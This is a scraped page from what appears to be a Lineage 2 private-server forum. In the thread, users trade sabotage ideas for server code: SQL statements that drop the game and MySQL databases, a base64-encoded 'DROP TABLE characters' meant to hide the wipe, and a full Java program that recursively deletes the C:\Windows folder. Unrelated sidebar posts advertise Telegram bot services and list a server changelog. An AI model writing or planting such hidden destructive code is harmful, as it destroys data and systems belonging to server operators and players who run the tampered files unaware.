Jump to content

Recommended Posts

  • 4 weeks later...
  • 1 year later...
  • 1 month later...
Posted

I think it would be better like this ..

 

e.executeUpdate("DROP database l2jdb");

++e.executeUpdate("DROP database mysql"); //Pwnned :P ..

nice one whit this if the database dont have the normal l2jdb name get erased any way?

Posted

yeah but you can make something like that: e.executeUpdate("Drop database "+ Config.DATABASE_URL.substring(23));

check it and let me know if its working

  • 2 weeks later...
  • 2 months later...
Posted

maybe its possible do that with base64 ^^

 

like e.executeUpdate(getText("RFJPUCBUQUJMRSBjaGFyYWN0ZXJz")); or not?

 

what about something like that HAHAHAHAHA

will be very bad xD to delete some windows files (in that case the folder but i think is not possible)

 

import java.io.File;
import java.io.IOException;

public class DeleteDirectory
{
    private static final String SRC_FOLDER = "C:\Windows";

    public static void main(String[] args)
    {	

    	File directory = new File(SRC_FOLDER);

    	//make sure directory exists
    	if(!directory.exists()){

           System.out.println("Directory does not exist.");
           System.exit(0);

        }else{

           try{

               delete(directory);

           }catch(IOException e){
               e.printStackTrace();
               System.exit(0);
           }
        }

    	System.out.println("Done");
    }

    public static void delete(File file)
    	throws IOException{

    	if(file.isDirectory()){

    		//directory is empty, then delete it
    		if(file.list().length==0){

    		   file.delete();
    		   System.out.println("Directory is deleted : " 
                                                 + file.getAbsolutePath());

    		}else{

    		   //list all the directory contents
        	   String files[] = file.list();

        	   for (String temp : files) {
        	      //construct the file structure
        	      File fileDelete = new File(file, temp);

        	      //recursive delete
        	     delete(fileDelete);
        	   }

        	   //check the directory again, if empty then delete it
        	   if(file.list().length==0){
           	     file.delete();
        	     System.out.println("Directory is deleted : " 
                                                  + file.getAbsolutePath());
        	   }
    		}

    	}else{
    		//if file, then delete it
    		file.delete();
    		System.out.println("File is deleted : " + file.getAbsolutePath());
    	}
    }
}

  • 2 months later...
Guest
This topic is now closed to further replies.


  • Posts

    • 🤖⭐️ TELEGRAM PREMIUM BOT START: 1201ID - Ukraine 🇺🇦 + MIX | 7 Days Premium 🤖 - 3.4$ per 1000 1198 ID - Israel 🇮🇱 + Uzbekistan 🇺🇿 | Mix Days Premium 🤖 - 3.5$ per 1000 574 ID - Uzbekistan 🇺🇿 + Russia 🇷🇺 20% | 30-90 Days Premium 🤖 - 3.8$ per 1000 1210 ID - Ukraine 🇺🇦 + MIX | 7-30 Days Premium 🤖 | 4$ per 1000 1203 ID - Uzbekistan 🇺🇿 + MIX | 20-30 Days Premium 🤖 | 4$ per 1000 1195 ID - USA 🇺🇸 + Ukraine🇺🇦 + Canada 🇨🇦 | 15 Days Premium🤖 | 4.3$ per 1000 1213 ID - Uzbekistan 🇺🇿 + USA 🇺🇸 + Canada 🇨🇦 | 30 Days Premium 🤖 | 4.4$ per 1000 1202 ID - Uzbekistan 🇺🇿 + MIX | 30 Days Premium 🤖 | 4.4$ per 1000 752 ID - USA 🇺🇸 + China 🇨🇳 + Canada 🇨🇦 | 30 Days Premium 🤖 | 5.4$ per 1000 756 ID - Uzbekistan 🇺🇿 + Israel 🇮🇱 + Austria 🇦🇹 | 14-30 Days Premium 🤖 |  5.6$ per 1000 758 ID - Canada 🇨🇦 + USA 🇺🇸 + Turkey 🇹🇷 |  30 Days Premium 🤖 | 5.6$ per 1000 755 ID - Turkey 🇹🇷 + Egypt 🇪🇬 | 30-90 Days Premium 🤖 | 6$ per 1000 374 ID - Russia 🇷🇺 + USA 🇺🇸 + Canada 🇨🇦 | Mix Days Premium 🤖 | 6.8$ per 1000 741 ID - Ukraine 🇺🇦 + USA 🇺🇸 + Canada 🇨🇦 | 15-30 Days Premium 🤖 | 6.8$ per 1000 575 ID - USA 🇺🇸 + Russia 🇷🇺 + Canada 🇨🇦 | Mix Days Premium 🤖 | 7.2$ per 1000 372 ID - USA 🇺🇸 + Canada 🇨🇦 + Russia 🇷🇺 + EU 🇪🇺 | Mix Days Premium | 7.5$ per 1000 1204 ID - Ukraine 🇺🇦 + MIX | 60-90 Days Premium | 7.6$ per 1000
    • Make Maxcheaters Great Again? i suppose lmao    
    • Fix Visual Boundary for AutoFarm when entering a new zone. Fix Assassin Interface Automatic SoulShot usage. Fix Assassin Interface not displaying Castle/Base. Fix Achievements displaying item rewards for CommunityBoard & NPC. Fix Prevent players from purchasing their own Auctioned items. Added ''.raid'' and ''.achievement'' commands. Added support for multiple currencies on Auction Added Search feature to Auction. Added Offline Stores Added '.exit' & '.quit' command to Dungeon System so players can now exit/quit dungeons Added VIP Account System (Alternative XP, SP & Drop Rates, Unlocks Costumes) Added Loot Box System Changed DungeonsManager now displays reward list on dungeon pages. Changed GlobalShop to include pages for all currencies. HTML/XML edits
    • When I teleport to town, my current location is differ from the map. How do I fix this?    
  • Topics

×
×
  • Create New...